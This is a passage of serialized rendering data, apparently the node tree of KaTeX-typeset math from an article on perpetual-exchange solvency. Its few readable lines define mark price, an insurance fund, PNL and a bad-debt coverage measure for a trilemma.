[],{"type":23,"tag":213,"props":162792,"children":162793},{"style":161497},[162794,162798],{"type":23,"tag":213,"props":162795,"children":162797},{"className":162796,"style":160998},[4144],[],{"type":23,"tag":213,"props":162799,"children":162801},{"className":162800},[4103],[162802,162806,162810,162815,162819,162889,162893],{"type":23,"tag":213,"props":162803,"children":162805},{"className":162804},[4103],[],{"type":23,"tag":213,"props":162807,"children":162809},{"className":162808,"style":4282},[4184],[],{"type":23,"tag":213,"props":162811,"children":162813},{"className":162812},[4287],[162814],{"type":28,"value":3190},{"type":23,"tag":213,"props":162816,"children":162818},{"className":162817,"style":4282},[4184],[],{"type":23,"tag":213,"props":162820,"children":162823},{"className":162821},[21673,162822],"op-limits",[162824],{"type":23,"tag":213,"props":162825,"children":162827},{"className":162826},[4125,21691],[162828,162877],{"type":23,"tag":213,"props":162829,"children":162831},{"className":162830},[4130],[162832,162872],{"type":23,"tag":213,"props":162833,"children":162836},{"className":162834,"style":162835},[4135],"height:1.05em;",[162837,162855],{"type":23,"tag":213,"props":162838,"children":162840},{"style":162839},"top:-1.8723em;margin-left:0em;",[162841,162846],{"type":23,"tag":213,"props":162842,"children":162845},{"className":162843,"style":162844},[4144],"height:3.05em;",[],{"type":23,"tag":213,"props":162847,"children":162849},{"className":162848},[4150,4151,4152,4153],[162850],{"type":23,"tag":213,"props":162851,"children":162853},{"className":162852},[4103,21637,4153],[162854],{"type":28,"value":3826},{"type":23,"tag":213,"props":162856,"children":162858},{"style":162857},"top:-3.05em;",[162859,162863],{"type":23,"tag":213,"props":162860,"children":162862},{"className":162861,"style":162844},[4144],[],{"type":23,"tag":213,"props":162864,"children":162865},{},[162866],{"type":23,"tag":213,"props":162867,"children":162870},{"className":162868},[21673,21678,162869],"large-op",[162871],{"type":28,"value":108895},{"type":23,"tag":213,"props":162873,"children":162875},{"className":162874},[21794],[162876],{"type":28,"value":21797},{"type":23,"tag":213,"props":162878,"children":162880},{"className":162879},[4130],[162881],{"type":23,"tag":213,"props":162882,"children":162885},{"className":162883,"style":162884},[4135],"height:1.2777em;",[162886],{"type":23,"tag":213,"props":162887,"children":162888},{},[],{"type":23,"tag":213,"props":162890,"children":162892},{"className":162891,"style":4223},[4184],[],{"type":23,"tag":213,"props":162894,"children":162896},{"className":162895},[4103],[162897,162902],{"type":23,"tag":213,"props":162898,"children":162900},{"className":162899},[4103,21637],[162901],{"type":28,"value":19329},{"type":23,"tag":213,"props":162903,"children":162905},{"className":162904},[4120],[162906],{"type":23,"tag":213,"props":162907,"children":162909},{"className":162908},[4125,21691],[162910,162939],{"type":23,"tag":213,"props":162911,"children":162913},{"className":162912},[4130],[162914,162934],{"type":23,"tag":213,"props":162915,"children":162917},{"className":162916,"style":93629},[4135],[162918],{"type":23,"tag":213,"props":162919,"children":162920},{"style":93156},[162921,162925],{"type":23,"tag":213,"props":162922,"children":162924},{"className":162923,"style":4145},[4144],[],{"type":23,"tag":213,"props":162926,"children":162928},{"className":162927},[4150,4151,4152,4153],[162929],{"type":23,"tag":213,"props":162930,"children":162932},{"className":162931},[4103,21637,4153],[162933],{"type":28,"value":3826},{"type":23,"tag":213,"props":162935,"children":162937},{"className":162936},[21794],[162938],{"type":28,"value":21797},{"type":23,"tag":213,"props":162940,"children":162942},{"className":162941},[4130],[162943],{"type":23,"tag":213,"props":162944,"children":162946},{"className":162945,"style":93183},[4135],[162947],{"type":23,"tag":213,"props":162948,"children":162949},{},[],{"type":23,"tag":213,"props":162951,"children":162952},{"style":161566},[162953,162957],{"type":23,"tag":213,"props":162954,"children":162956},{"className":162955,"style":160998},[4144],[],{"type":23,"tag":213,"props":162958,"children":162960},{"className":162959},[4103],[162961,162965,162969,162974,162978,163041,163045,163050,163055,163060,163117,163122,163126,163130,163135],{"type":23,"tag":213,"props":162962,"children":162964},{"className":162963},[4103],[],{"type":23,"tag":213,"props":162966,"children":162968},{"className":162967,"style":4282},[4184],[],{"type":23,"tag":213,"props":162970,"children":162972},{"className":162971},[4287],[162973],{"type":28,"value":3190},{"type":23,"tag":213,"props":162975,"children":162977},{"className":162976,"style":4282},[4184],[],{"type":23,"tag":213,"props":162979,"children":162981},{"className":162980},[21673,162822],[162982],{"type":23,"tag":213,"props":162983,"children":162985},{"className":162984},[4125,21691],[162986,163030],{"type":23,"tag":213,"props":162987,"children":162989},{"className":162988},[4130],[162990,163025],{"type":23,"tag":213,"props":162991,"children":162993},{"className":162992,"style":162835},[4135],[162994,163010],{"type":23,"tag":213,"props":162995,"children":162996},{"style":162839},[162997,163001],{"type":23,"tag":213,"props":162998,"children":163000},{"className":162999,"style":162844},[4144],[],{"type":23,"tag":213,"props":163002,"children":163004},{"className":163003},[4150,4151,4152,4153],[163005],{"type":23,"tag":213,"props":163006,"children":163008},{"className":163007},[4103,21637,4153],[163009],{"type":28,"value":3826},{"type":23,"tag":213,"props":163011,"children":163012},{"style":162857},[163013,163017],{"type":23,"tag":213,"props":163014,"children":163016},{"className":163015,"style":162844},[4144],[],{"type":23,"tag":213,"props":163018,"children":163019},{},[163020],{"type":23,"tag":213,"props":163021,"children":163023},{"className":163022},[21673,21678,162869],[163024],{"type":28,"value":108895},{"type":23,"tag":213,"props":163026,"children":163028},{"className":163027},[21794],[163029],{"type":28,"value":21797},{"type":23,"tag":213,"props":163031,"children":163033},{"className":163032},[4130],[163034],{"type":23,"tag":213,"props":163035,"children":163037},{"className":163036,"style":162884},[4135],[163038],{"type":23,"tag":213,"props":163039,"children":163040},{},[],{"type":23,"tag":213,"props":163042,"children":163044},{"className":163043,"style":4223},[4184],[],{"type":23,"tag":213,"props":163046,"children":163048},{"className":163047},[21673],[163049],{"type":28,"value":160712},{"type":23,"tag":213,"props":163051,"children":163053},{"className":163052},[21766],[163054],{"type":28,"value":265},{"type":23,"tag":213,"props":163056,"children":163058},{"className":163057},[4103],[163059],{"type":28,"value":4164},{"type":23,"tag":213,"props":163061,"children":163063},{"className":163062},[4103],[163064,163069],{"type":23,"tag":213,"props":163065,"children":163067},{"className":163066},[4103,21637],[163068],{"type":28,"value":51507},{"type":23,"tag":213,"props":163070,"children":163072},{"className":163071},[4120],[163073],{"type":23,"tag":213,"props":163074,"children":163076},{"className":163075},[4125,21691],[163077,163106],{"type":23,"tag":213,"props":163078,"children":163080},{"className":163079},[4130],[163081,163101],{"type":23,"tag":213,"props":163082,"children":163084},{"className":163083,"style":93629},[4135],[163085],{"type":23,"tag":213,"props":163086,"children":163087},{"style":93156},[163088,163092],{"type":23,"tag":213,"props":163089,"children":163091},{"className":163090,"style":4145},[4144],[],{"type":23,"tag":213,"props":163093,"children":163095},{"className":163094},[4150,4151,4152,4153],[163096],{"type":23,"tag":213,"props":163097,"children":163099},{"className":163098},[4103,21637,4153],[163100],{"type":28,"value":3826},{"type":23,"tag":213,"props":163102,"children":163104},{"className":163103},[21794],[163105],{"type":28,"value":21797},{"type":23,"tag":213,"props":163107,"children":163109},{"className":163108},[4130],[163110],{"type":23,"tag":213,"props":163111,"children":163113},{"className":163112,"style":93183},[4135],[163114],{"type":23,"tag":213,"props":163115,"children":163116},{},[],{"type":23,"tag":213,"props":163118,"children":163120},{"className":163119},[4216],[163121],{"type":28,"value":4219},{"type":23,"tag":213,"props":163123,"children":163125},{"className":163124,"style":4223},[4184],[],{"type":23,"tag":213,"props":163127,"children":163129},{"className":163128,"style":4223},[4184],[],{"type":23,"tag":213,"props":163131,"children":163133},{"className":163132},[4103],[163134],{"type":28,"value":4116},{"type":23,"tag":213,"props":163136,"children":163138},{"className":163137},[21788],[163139],{"type":28,"value":2121},{"type":23,"tag":213,"props":163141,"children":163142},{"style":161636},[163143,163147],{"type":23,"tag":213,"props":163144,"children":163146},{"className":163145,"style":160998},[4144],[],{"type":23,"tag":213,"props":163148,"children":163150},{"className":163149},[4103],[163151,163155,163159,163164,163168,163231,163235],{"type":23,"tag":213,"props":163152,"children":163154},{"className":163153},[4103],[],{"type":23,"tag":213,"props":163156,"children":163158},{"className":163157,"style":4282},[4184],[],{"type":23,"tag":213,"props":163160,"children":163162},{"className":163161},[4287],[163163],{"type":28,"value":3190},{"type":23,"tag":213,"props":163165,"children":163167},{"className":163166,"style":4282},[4184],[],{"type":23,"tag":213,"props":163169,"children":163171},{"className":163170},[21673,162822],[163172],{"type":23,"tag":213,"props":163173,"children":163175},{"className":163174},[4125,21691],[163176,163220],{"type":23,"tag":213,"props":163177,"children":163179},{"className":163178},[4130],[163180,163215],{"type":23,"tag":213,"props":163181,"children":163183},{"className":163182,"style":162835},[4135],[163184,163200],{"type":23,"tag":213,"props":163185,"children":163186},{"style":162839},[163187,163191],{"type":23,"tag":213,"props":163188,"children":163190},{"className":163189,"style":162844},[4144],[],{"type":23,"tag":213,"props":163192,"children":163194},{"className":163193},[4150,4151,4152,4153],[163195],{"type":23,"tag":213,"props":163196,"children":163198},{"className":163197},[4103,21637,4153],[163199],{"type":28,"value":3826},{"type":23,"tag":213,"props":163201,"children":163202},{"style":162857},[163203,163207],{"type":23,"tag":213,"props":163204,"children":163206},{"className":163205,"style":162844},[4144],[],{"type":23,"tag":213,"props":163208,"children":163209},{},[163210],{"type":23,"tag":213,"props":163211,"children":163213},{"className":163212},[21673,21678,162869],[163214],{"type":28,"value":108895},{"type":23,"tag":213,"props":163216,"children":163218},{"className":163217},[21794],[163219],{"type":28,"value":21797},{"type":23,"tag":213,"props":163221,"children":163223},{"className":163222},[4130],[163224],{"type":23,"tag":213,"props":163225,"children":163227},{"className":163226,"style":162884},[4135],[163228],{"type":23,"tag":213,"props":163229,"children":163230},{},[],{"type":23,"tag":213,"props":163232,"children":163234},{"className":163233,"style":4223},[4184],[],{"type":23,"tag":213,"props":163236,"children":163238},{"className":163237},[4103],[163239,163244],{"type":23,"tag":213,"props":163240,"children":163242},{"className":163241,"style":122380},[4103,21637],[163243],{"type":28,"value":49624},{"type":23,"tag":213,"props":163245,"children":163247},{"className":163246},[4120],[163248],{"type":23,"tag":213,"props":163249,"children":163251},{"className":163250},[4125,21691],[163252,163281],{"type":23,"tag":213,"props":163253,"children":163255},{"className":163254},[4130],[163256,163276],{"type":23,"tag":213,"props":163257,"children":163259},{"className":163258,"style":93629},[4135],[163260],{"type":23,"tag":213,"props":163261,"children":163262},{"style":161326},[163263,163267],{"type":23,"tag":213,"props":163264,"children":163266},{"className":163265,"style":4145},[4144],[],{"type":23,"tag":213,"props":163268,"children":163270},{"className":163269},[4150,4151,4152,4153],[163271],{"type":23,"tag":213,"props":163272,"children":163274},{"className":163273},[4103,21637,4153],[163275],{"type":28,"value":3826},{"type":23,"tag":213,"props":163277,"children":163279},{"className":163278},[21794],[163280],{"type":28,"value":21797},{"type":23,"tag":213,"props":163282,"children":163284},{"className":163283},[4130],[163285],{"type":23,"tag":213,"props":163286,"children":163288},{"className":163287,"style":93183},[4135],[163289],{"type":23,"tag":213,"props":163290,"children":163291},{},[],{"type":23,"tag":213,"props":163293,"children":163294},{"style":161707},[163295,163299],{"type":23,"tag":213,"props":163296,"children":163298},{"className":163297,"style":160998},[4144],[],{"type":23,"tag":213,"props":163300,"children":163302},{"className":163301},[4103],[163303,163307,163311,163316,163320,163325,163330,163387,163391,163396,163400,163405,163409,163414,163418,163475,163480,163484,163488,163493],{"type":23,"tag":213,"props":163304,"children":163306},{"className":163305},[4103],[],{"type":23,"tag":213,"props":163308,"children":163310},{"className":163309,"style":4282},[4184],[],{"type":23,"tag":213,"props":163312,"children":163314},{"className":163313},[4287],[163315],{"type":28,"value":3190},{"type":23,"tag":213,"props":163317,"children":163319},{"className":163318,"style":4282},[4184],[],{"type":23,"tag":213,"props":163321,"children":163323},{"className":163322},[21673],[163324],{"type":28,"value":160712},{"type":23,"tag":213,"props":163326,"children":163328},{"className":163327},[21766],[163329],{"type":28,"value":265},{"type":23,"tag":213,"props":163331,"children":163333},{"className":163332},[4103],[163334,163339],{"type":23,"tag":213,"props":163335,"children":163337},{"className":163336,"style":93100},[4103,21637],[163338],{"type":28,"value":161585},{"type":23,"tag":213,"props":163340,"children":163342},{"className":163341},[4120],[163343],{"type":23,"tag":213,"props":163344,"children":163346},{"className":163345},[4125,21691],[163347,163376],{"type":23,"tag":213,"props":163348,"children":163350},{"className":163349},[4130],[163351,163371],{"type":23,"tag":213,"props":163352,"children":163354},{"className":163353,"style":142654},[4135],[163355],{"type":23,"tag":213,"props":163356,"children":163357},{"style":110099},[163358,163362],{"type":23,"tag":213,"props":163359,"children":163361},{"className":163360,"style":4145},[4144],[],{"type":23,"tag":213,"props":163363,"children":163365},{"className":163364},[4150,4151,4152,4153],[163366],{"type":23,"tag":213,"props":163367,"children":163369},{"className":163368,"style":21638},[4103,21637,4153],[163370],{"type":28,"value":6079},{"type":23,"tag":213,"props":163372,"children":163374},{"className":163373},[21794],[163375],{"type":28,"value":21797},{"type":23,"tag":213,"props":163377,"children":163379},{"className":163378},[4130],[163380],{"type":23,"tag":213,"props":163381,"children":163383},{"className":163382,"style":93183},[4135],[163384],{"type":23,"tag":213,"props":163385,"children":163386},{},[],{"type":23,"tag":213,"props":163388,"children":163390},{"className":163389,"style":4185},[4184],[],{"type":23,"tag":213,"props":163392,"children":163394},{"className":163393},[4190],[163395],{"type":28,"value":4164},{"type":23,"tag":213,"props":163397,"children":163399},{"className":163398,"style":4185},[4184],[],{"type":23,"tag":213,"props":163401,"children":163403},{"className":163402,"style":95120},[4103,21637],[163404],{"type":28,"value":95154},{"type":23,"tag":213,"props":163406,"children":163408},{"className":163407,"style":4185},[4184],[],{"type":23,"tag":213,"props":163410,"children":163412},{"className":163411},[4190],[163413],{"type":28,"value":4164},{"type":23,"tag":213,"props":163415,"children":163417},{"className":163416,"style":4185},[4184],[],{"type":23,"tag":213,"props":163419,"children":163421},{"className":163420},[4103],[163422,163427],{"type":23,"tag":213,"props":163423,"children":163425},{"className":163424,"style":93334},[4103,21637],[163426],{"type":28,"value":93337},{"type":23,"tag":213,"props":163428,"children":163430},{"className":163429},[4120],[163431],{"type":23,"tag":213,"props":163432,"children":163434},{"className":163433},[4125,21691],[163435,163464],{"type":23,"tag":213,"props":163436,"children":163438},{"className":163437},[4130],[163439,163459],{"type":23,"tag":213,"props":163440,"children":163442},{"className":163441,"style":142654},[4135],[163443],{"type":23,"tag":213,"props":163444,"children":163445},{"style":110529},[163446,163450],{"type":23,"tag":213,"props":163447,"children":163449},{"className":163448,"style":4145},[4144],[],{"type":23,"tag":213,"props":163451,"children":163453},{"className":163452},[4150,4151,4152,4153],[163454],{"type":23,"tag":213,"props":163455,"children":163457},{"className":163456,"style":21638},[4103,21637,4153],[163458],{"type":28,"value":6079},{"type":23,"tag":213,"props":163460,"children":163462},{"className":163461},[21794],[163463],{"type":28,"value":21797},{"type":23,"tag":213,"props":163465,"children":163467},{"className":163466},[4130],[163468],{"type":23,"tag":213,"props":163469,"children":163471},{"className":163470,"style":93183},[4135],[163472],{"type":23,"tag":213,"props":163473,"children":163474},{},[],{"type":23,"tag":213,"props":163476,"children":163478},{"className":163477},[4216],[163479],{"type":28,"value":4219},{"type":23,"tag":213,"props":163481,"children":163483},{"className":163482,"style":4223},[4184],[],{"type":23,"tag":213,"props":163485,"children":163487},{"className":163486,"style":4223},[4184],[],{"type":23,"tag":213,"props":163489,"children":163491},{"className":163490},[4103],[163492],{"type":28,"value":4116},{"type":23,"tag":213,"props":163494,"children":163496},{"className":163495},[21788],[163497],{"type":28,"value":2121},{"type":23,"tag":213,"props":163499,"children":163501},{"className":163500},[21794],[163502],{"type":28,"value":21797},{"type":23,"tag":213,"props":163504,"children":163506},{"className":163505},[4130],[163507],{"type":23,"tag":213,"props":163508,"children":163510},{"className":163509,"style":161788},[4135],[163511],{"type":23,"tag":213,"props":163512,"children":163513},{},[],{"type":23,"tag":24,"props":163515,"children":163516},{},[163517,163518,163595,163597,163622,163624,163701,163703,163780],{"type":28,"value":265},{"type":23,"tag":209,"props":163519,"children":163521},{"className":163520},[4076,4077],[163522],{"type":23,"tag":213,"props":163523,"children":163525},{"className":163524},[4082],[163526],{"type":23,"tag":213,"props":163527,"children":163529},{"className":163528,"ariaHidden":1710},[4087],[163530],{"type":23,"tag":213,"props":163531,"children":163533},{"className":163532},[4092],[163534,163538],{"type":23,"tag":213,"props":163535,"children":163537},{"className":163536,"style":111097},[4097],[],{"type":23,"tag":213,"props":163539,"children":163541},{"className":163540},[4103],[163542,163547],{"type":23,"tag":213,"props":163543,"children":163545},{"className":163544,"style":21638},[4103,21637],[163546],{"type":28,"value":21641},{"type":23,"tag":213,"props":163548,"children":163550},{"className":163549},[4120],[163551],{"type":23,"tag":213,"props":163552,"children":163554},{"className":163553},[4125,21691],[163555,163584],{"type":23,"tag":213,"props":163556,"children":163558},{"className":163557},[4130],[163559,163579],{"type":23,"tag":213,"props":163560,"children":163562},{"className":163561,"style":109532},[4135],[163563],{"type":23,"tag":213,"props":163564,"children":163565},{"style":161031},[163566,163570],{"type":23,"tag":213,"props":163567,"children":163569},{"className":163568,"style":4145},[4144],[],{"type":23,"tag":213,"props":163571,"children":163573},{"className":163572},[4150,4151,4152,4153],[163574],{"type":23,"tag":213,"props":163575,"children":163577},{"className":163576},[4103,21637,4153],[163578],{"type":28,"value":56456},{"type":23,"tag":213,"props":163580,"children":163582},{"className":163581},[21794],[163583],{"type":28,"value":21797},{"type":23,"tag":213,"props":163585,"children":163587},{"className":163586},[4130],[163588],{"type":23,"tag":213,"props":163589,"children":163591},{"className":163590,"style":93183},[4135],[163592],{"type":23,"tag":213,"props":163593,"children":163594},{},[],{"type":28,"value":163596},": mark price from different sources; ",{"type":23,"tag":209,"props":163598,"children":163600},{"className":163599},[4076,4077],[163601],{"type":23,"tag":213,"props":163602,"children":163604},{"className":163603},[4082],[163605],{"type":23,"tag":213,"props":163606,"children":163608},{"className":163607,"ariaHidden":1710},[4087],[163609],{"type":23,"tag":213,"props":163610,"children":163612},{"className":163611},[4092],[163613,163617],{"type":23,"tag":213,"props":163614,"children":163616},{"className":163615,"style":21632},[4097],[],{"type":23,"tag":213,"props":163618,"children":163620},{"className":163619,"style":95120},[4103,21637],[163621],{"type":28,"value":95154},{"type":28,"value":163623},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":209,"props":163625,"children":163627},{"className":163626},[4076,4077],[163628],{"type":23,"tag":213,"props":163629,"children":163631},{"className":163630},[4082],[163632],{"type":23,"tag":213,"props":163633,"children":163635},{"className":163634,"ariaHidden":1710},[4087],[163636],{"type":23,"tag":213,"props":163637,"children":163639},{"className":163638},[4092],[163640,163644],{"type":23,"tag":213,"props":163641,"children":163643},{"className":163642,"style":110070},[4097],[],{"type":23,"tag":213,"props":163645,"children":163647},{"className":163646},[4103],[163648,163653],{"type":23,"tag":213,"props":163649,"children":163651},{"className":163650,"style":93586},[4103,21637],[163652],{"type":28,"value":161169},{"type":23,"tag":213,"props":163654,"children":163656},{"className":163655},[4120],[163657],{"type":23,"tag":213,"props":163658,"children":163660},{"className":163659},[4125,21691],[163661,163690],{"type":23,"tag":213,"props":163662,"children":163664},{"className":163663},[4130],[163665,163685],{"type":23,"tag":213,"props":163666,"children":163668},{"className":163667,"style":93629},[4135],[163669],{"type":23,"tag":213,"props":163670,"children":163671},{"style":93633},[163672,163676],{"type":23,"tag":213,"props":163673,"children":163675},{"className":163674,"style":4145},[4144],[],{"type":23,"tag":213,"props":163677,"children":163679},{"className":163678},[4150,4151,4152,4153],[163680],{"type":23,"tag":213,"props":163681,"children":163683},{"className":163682},[4103,21637,4153],[163684],{"type":28,"value":3826},{"type":23,"tag":213,"props":163686,"children":163688},{"className":163687},[21794],[163689],{"type":28,"value":21797},{"type":23,"tag":213,"props":163691,"children":163693},{"className":163692},[4130],[163694],{"type":23,"tag":213,"props":163695,"children":163697},{"className":163696,"style":93183},[4135],[163698],{"type":23,"tag":213,"props":163699,"children":163700},{},[],{"type":28,"value":163702}," is PNL for longs, negated for shorts; ",{"type":23,"tag":209,"props":163704,"children":163706},{"className":163705},[4076,4077],[163707],{"type":23,"tag":213,"props":163708,"children":163710},{"className":163709},[4082],[163711],{"type":23,"tag":213,"props":163712,"children":163714},{"className":163713,"ariaHidden":1710},[4087],[163715],{"type":23,"tag":213,"props":163716,"children":163718},{"className":163717},[4092],[163719,163723],{"type":23,"tag":213,"props":163720,"children":163722},{"className":163721,"style":110070},[4097],[],{"type":23,"tag":213,"props":163724,"children":163726},{"className":163725},[4103],[163727,163732],{"type":23,"tag":213,"props":163728,"children":163730},{"className":163729,"style":122380},[4103,21637],[163731],{"type":28,"value":49624},{"type":23,"tag":213,"props":163733,"children":163735},{"className":163734},[4120],[163736],{"type":23,"tag":213,"props":163737,"children":163739},{"className":163738},[4125,21691],[163740,163769],{"type":23,"tag":213,"props":163741,"children":163743},{"className":163742},[4130],[163744,163764],{"type":23,"tag":213,"props":163745,"children":163747},{"className":163746,"style":93629},[4135],[163748],{"type":23,"tag":213,"props":163749,"children":163750},{"style":161326},[163751,163755],{"type":23,"tag":213,"props":163752,"children":163754},{"className":163753,"style":4145},[4144],[],{"type":23,"tag":213,"props":163756,"children":163758},{"className":163757},[4150,4151,4152,4153],[163759],{"type":23,"tag":213,"props":163760,"children":163762},{"className":163761},[4103,21637,4153],[163763],{"type":28,"value":3826},{"type":23,"tag":213,"props":163765,"children":163767},{"className":163766},[21794],[163768],{"type":28,"value":21797},{"type":23,"tag":213,"props":163770,"children":163772},{"className":163771},[4130],[163773],{"type":23,"tag":213,"props":163774,"children":163776},{"className":163775,"style":93183},[4135],[163777],{"type":23,"tag":213,"props":163778,"children":163779},{},[],{"type":28,"value":163781}," is the positive part of PNL.)",{"type":23,"tag":24,"props":163783,"children":163784},{},[163785],{"type":28,"value":163786},"And let's make the trilemma definitions concrete:",{"type":23,"tag":168,"props":163788,"children":163789},{},[163790,164264,164828],{"type":23,"tag":135,"props":163791,"children":163792},{},[163793,163797,163798,164052,164054,164105,164107,164210,164211,164262],{"type":23,"tag":87,"props":163794,"children":163795},{},[163796],{"type":28,"value":160910},{"type":28,"value":32967},{"type":23,"tag":209,"props":163799,"children":163801},{"className":163800},[4076,4077],[163802],{"type":23,"tag":213,"props":163803,"children":163805},{"className":163804},[4082],[163806],{"type":23,"tag":213,"props":163807,"children":163809},{"className":163808,"ariaHidden":1710},[4087],[163810,163837],{"type":23,"tag":213,"props":163811,"children":163813},{"className":163812},[4092],[163814,163819,163824,163828,163833],{"type":23,"tag":213,"props":163815,"children":163818},{"className":163816,"style":163817},[4097],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":163820,"children":163822},{"className":163821},[4103],[163823],{"type":28,"value":4106},{"type":23,"tag":213,"props":163825,"children":163827},{"className":163826,"style":4185},[4184],[],{"type":23,"tag":213,"props":163829,"children":163831},{"className":163830},[4190],[163832],{"type":28,"value":4164},{"type":23,"tag":213,"props":163834,"children":163836},{"className":163835,"style":4185},[4184],[],{"type":23,"tag":213,"props":163838,"children":163840},{"className":163839},[4092],[163841,163846],{"type":23,"tag":213,"props":163842,"children":163845},{"className":163843,"style":163844},[4097],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":213,"props":163847,"children":163849},{"className":163848},[4103],[163850,163854,164048],{"type":23,"tag":213,"props":163851,"children":163853},{"className":163852},[21766,113618],[],{"type":23,"tag":213,"props":163855,"children":163857},{"className":163856},[113623],[163858],{"type":23,"tag":213,"props":163859,"children":163861},{"className":163860},[4125,21691],[163862,164036],{"type":23,"tag":213,"props":163863,"children":163865},{"className":163864},[4130],[163866,164031],{"type":23,"tag":213,"props":163867,"children":163870},{"className":163868,"style":163869},[4135],"height:0.8884em;",[163871,163945,163956],{"type":23,"tag":213,"props":163872,"children":163873},{"style":113640},[163874,163878],{"type":23,"tag":213,"props":163875,"children":163877},{"className":163876,"style":112271},[4144],[],{"type":23,"tag":213,"props":163879,"children":163881},{"className":163880},[4150,4151,4152,4153],[163882],{"type":23,"tag":213,"props":163883,"children":163885},{"className":163884},[4103,4153],[163886],{"type":23,"tag":213,"props":163887,"children":163889},{"className":163888},[4103,4153],[163890,163895],{"type":23,"tag":213,"props":163891,"children":163893},{"className":163892,"style":93100},[4103,21637,4153],[163894],{"type":28,"value":161585},{"type":23,"tag":213,"props":163896,"children":163898},{"className":163897},[4120],[163899],{"type":23,"tag":213,"props":163900,"children":163902},{"className":163901},[4125,21691],[163903,163933],{"type":23,"tag":213,"props":163904,"children":163906},{"className":163905},[4130],[163907,163928],{"type":23,"tag":213,"props":163908,"children":163910},{"className":163909,"style":112432},[4135],[163911],{"type":23,"tag":213,"props":163912,"children":163914},{"style":163913},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163915,163919],{"type":23,"tag":213,"props":163916,"children":163918},{"className":163917,"style":108960},[4144],[],{"type":23,"tag":213,"props":163920,"children":163922},{"className":163921},[4150,108965,108966,4153],[163923],{"type":23,"tag":213,"props":163924,"children":163926},{"className":163925,"style":21638},[4103,21637,4153],[163927],{"type":28,"value":6079},{"type":23,"tag":213,"props":163929,"children":163931},{"className":163930},[21794],[163932],{"type":28,"value":21797},{"type":23,"tag":213,"props":163934,"children":163936},{"className":163935},[4130],[163937],{"type":23,"tag":213,"props":163938,"children":163941},{"className":163939,"style":163940},[4135],"height:0.1433em;",[163942],{"type":23,"tag":213,"props":163943,"children":163944},{},[],{"type":23,"tag":213,"props":163946,"children":163947},{"style":113673},[163948,163952],{"type":23,"tag":213,"props":163949,"children":163951},{"className":163950,"style":112271},[4144],[],{"type":23,"tag":213,"props":163953,"children":163955},{"className":163954,"style":113683},[113682],[],{"type":23,"tag":213,"props":163957,"children":163959},{"style":163958},"top:-3.4101em;",[163960,163964],{"type":23,"tag":213,"props":163961,"children":163963},{"className":163962,"style":112271},[4144],[],{"type":23,"tag":213,"props":163965,"children":163967},{"className":163966},[4150,4151,4152,4153],[163968],{"type":23,"tag":213,"props":163969,"children":163971},{"className":163970},[4103,4153],[163972],{"type":23,"tag":213,"props":163973,"children":163975},{"className":163974},[4103,4153],[163976,163981],{"type":23,"tag":213,"props":163977,"children":163979},{"className":163978,"style":122877},[4103,21637,4153],[163980],{"type":28,"value":122880},{"type":23,"tag":213,"props":163982,"children":163984},{"className":163983},[4120],[163985],{"type":23,"tag":213,"props":163986,"children":163988},{"className":163987},[4125,21691],[163989,164020],{"type":23,"tag":213,"props":163990,"children":163992},{"className":163991},[4130],[163993,164015],{"type":23,"tag":213,"props":163994,"children":163997},{"className":163995,"style":163996},[4135],"height:0.2963em;",[163998],{"type":23,"tag":213,"props":163999,"children":164001},{"style":164000},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[164002,164006],{"type":23,"tag":213,"props":164003,"children":164005},{"className":164004,"style":108960},[4144],[],{"type":23,"tag":213,"props":164007,"children":164009},{"className":164008},[4150,108965,108966,4153],[164010],{"type":23,"tag":213,"props":164011,"children":164013},{"className":164012},[4103,21637,4153],[164014],{"type":28,"value":21779},{"type":23,"tag":213,"props":164016,"children":164018},{"className":164017},[21794],[164019],{"type":28,"value":21797},{"type":23,"tag":213,"props":164021,"children":164023},{"className":164022},[4130],[164024],{"type":23,"tag":213,"props":164025,"children":164027},{"className":164026,"style":108985},[4135],[164028],{"type":23,"tag":213,"props":164029,"children":164030},{},[],{"type":23,"tag":213,"props":164032,"children":164034},{"className":164033},[21794],[164035],{"type":28,"value":21797},{"type":23,"tag":213,"props":164037,"children":164039},{"className":164038},[4130],[164040],{"type":23,"tag":213,"props":164041,"children":164044},{"className":164042,"style":164043},[4135],"height:0.4453em;",[164045],{"type":23,"tag":213,"props":164046,"children":164047},{},[],{"type":23,"tag":213,"props":164049,"children":164051},{"className":164050},[21788,113618],[],{"type":28,"value":164053}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":209,"props":164055,"children":164057},{"className":164056},[4076,4077],[164058],{"type":23,"tag":213,"props":164059,"children":164061},{"className":164060},[4082],[164062],{"type":23,"tag":213,"props":164063,"children":164065},{"className":164064,"ariaHidden":1710},[4087],[164066,164092],{"type":23,"tag":213,"props":164067,"children":164069},{"className":164068},[4092],[164070,164074,164079,164083,164088],{"type":23,"tag":213,"props":164071,"children":164073},{"className":164072,"style":21632},[4097],[],{"type":23,"tag":213,"props":164075,"children":164077},{"className":164076,"style":22096},[4103,21637],[164078],{"type":28,"value":22099},{"type":23,"tag":213,"props":164080,"children":164082},{"className":164081,"style":4282},[4184],[],{"type":23,"tag":213,"props":164084,"children":164086},{"className":164085},[4287],[164087],{"type":28,"value":3190},{"type":23,"tag":213,"props":164089,"children":164091},{"className":164090,"style":4282},[4184],[],{"type":23,"tag":213,"props":164093,"children":164095},{"className":164094},[4092],[164096,164100],{"type":23,"tag":213,"props":164097,"children":164099},{"className":164098,"style":94131},[4097],[],{"type":23,"tag":213,"props":164101,"children":164103},{"className":164102},[4103],[164104],{"type":28,"value":4106},{"type":28,"value":164106}," means fully solvent 